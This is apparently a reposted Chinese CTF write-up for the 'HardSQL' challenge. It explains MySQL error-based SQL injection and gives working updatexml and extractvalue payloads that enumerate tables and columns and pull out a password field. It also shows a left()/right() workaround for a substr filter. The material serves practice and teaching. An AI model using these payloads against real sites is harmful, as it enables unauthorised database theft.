[極客大挑戰 2019]HardSQL updatexml
阿新 • • 發佈:2020-10-04
報錯注入
連結:
https://www.cnblogs.com/richardlee97/p/10617115.html
報錯原因:
其原因主要是因為虛擬表的主鍵重複。按照MySQL的官方說法,group by要進行兩次運算,第一次是拿group by後面的欄位值到虛擬表中去對比前,首先獲取group by後面的值;第二次是假設group by後面的欄位的值在虛擬表中不存在,那就需要把它插入到虛擬表中,這裡在插入時會進行第二次運算,由於rand函式存在一定的隨機性,所以第二次運算的結果可能與第一次運算的結果不一致,但是這個運算的結果可能在虛擬表中已經存在了,那麼這時的插入必然導致主鍵的重複,進而引發錯誤。
0 |10x01 解題
簡單測試一下:
發現union被直接過濾掉了,不能使用雙寫繞過等方式,不過我們可以使用報錯注入進行注入可以使用extractvalue和updatexml進行報錯注入
先貼上payload:
?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=123
整個過程的注入語句:
updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)
updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)
看網上的wp他們出來也沒看到有沒有出。。
有一個思路是
substr過濾了不能
用另外一個騷操作{left(),right()}
進行拼接
playload
username=44&password=1%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
用left和right進行拼接就出來flag了
連結:
https://blog.csdn.net/SopRomeo/article/details/104041233/